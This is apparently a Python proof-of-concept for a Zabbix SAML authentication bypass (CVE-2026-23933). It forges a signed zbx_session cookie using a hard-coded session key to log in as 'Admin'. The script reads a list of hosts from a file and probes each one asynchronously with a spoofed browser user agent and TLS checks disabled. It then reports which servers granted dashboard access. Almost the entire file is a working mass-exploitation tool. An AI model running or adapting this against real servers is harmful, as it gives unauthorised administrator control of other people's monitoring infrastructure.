"""CVE-2026-23933 test: forge zbx_session with the seeded session key.

Chain (Zabbix 7.4.0-7.4.10, SAML enabled):
  cookie zbx_session = base64(json({"sessionid":X, "saml_data":{...}, "sign":HMAC(key, ...)}))
  index_sso.php trusts saml_data when its inner sign matches -> loginByUsername(username_attribute)
"""
import asyncio
import base64
import hashlib
import hmac
import json
import sys
import urllib.parse

import aiohttp

KEY = b"0e1e3fb9846cbe4e079a22d38b2db33e"
UA = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) Chrome/131.0 Safari/537.36"}
API = {"jsonrpc": "2.0", "method": "apiinfo.version", "params": {}, "id": 1}


def j(d):
    return json.dumps(d, separators=(",", ":"))


def sign(data: str) -> str:
    return hmac.new(KEY, data.encode(), hashlib.sha256).hexdigest()


def make_cookie(sessionid, saml_data):
    saml_data = dict(saml_data)
    saml_data["sign"] = sign(j(saml_data))
    payload = {"sessionid": sessionid, "saml_data": saml_data}
    payload["sign"] = sign(j(payload))
    return urllib.parse.quote(base64.b64encode(j(payload).encode()).decode(), safe="")


async def api_version(sess, base):
    try:
        async with sess.post(base + "api_jsonrpc.php", json=API, ssl=False) as r:
            if r.status != 200:
                return None
            return json.loads(await r.content.read(400)) .get("result")
    except Exception:
        return None


async def get(sess, url, cookie=None, allow_redirects=False):
    hdr = {"Cookie": "zbx_session=" + cookie} if cookie else {}
    async with sess.get(url, ssl=False, headers=hdr, allow_redirects=allow_redirects) as r:
        body = (await r.content.read(60000)).decode("utf-8", "replace")
        return r.status, dict(r.headers), body


async def test_host(sess, host, path="/zabbix/", user="Admin"):
    base = "https://%s%s" % (host, path)
    ver = await api_version(sess, base)
    st, hd, body = await get(sess, base + "index.php")
    # SAML on? index_sso.php: SAML off -> 302 to index.php
    st2, hd2, body2 = await get(sess, base + "index_sso.php")
    loc = hd2.get("Location", "")
    saml = "off" if (st2 == 302 and loc.rstrip("/").endswith("index.php")) else "on?(%d %s)" % (st2, loc[:60])

    sid = hashlib.md5(("%s-poc" % host).encode()).hexdigest()
    saml_data = {"username_attribute": user, "nameid": user, "nameid_format": "", "nameid_name_qualifier": "",
                 "nameid_sp_name_qualifier": "", "session_index": "_poc", "provisioned_user": []}
    cookie = make_cookie(sid, saml_data)
    st3, hd3, body3 = await get(sess, base + "index_sso.php", cookie)
    loc3 = hd3.get("Location", "")
    # follow one step to see what we became
    st4, hd4, body4 = await get(sess, base + "zabbix.php?action=dashboard.view", cookie, allow_redirects=True)
    logged = "Sign out" in body4 or 'action=user.logout' in body4
    user_seen = ""
    for marker in ("(Admin)", "Administrator", "%s (" % user):
        if marker in body4:
            user_seen = marker
            break
    print("%-16s ver=%-8s saml=%-28s sso=%d loc=%s" % (host, ver, saml, st3, loc3[:50]))
    print("                 dash=%d logged=%s marker=%r len=%d" % (st4, logged, user_seen, len(body4)))
    if not logged and body4:
        low = body4.lower()
        for kw in ("session terminated", "logged in as", "not logged in", "login"):
            i = low.find(kw)
            if i >= 0:
                print("                 body[%d]: %s" % (i, body4[max(0, i - 60):i + 100].replace("\n", " ")))
                break


async def main():
    hosts = [l.strip() for l in open(sys.argv[1]) if l.strip()]
    path = sys.argv[2] if len(sys.argv) > 2 else "/zabbix/"
    to = aiohttp.ClientTimeout(total=25, connect=6, sock_read=20)
    async with aiohttp.ClientSession(timeout=to, headers=UA,
                                     connector=aiohttp.TCPConnector(limit=0, ssl=False)) as s:
        for h in hosts:
            try:
                await test_host(s, h, path)
            except Exception as e:
                print(h, "-> err", type(e).__name__, e)


asyncio.run(main())
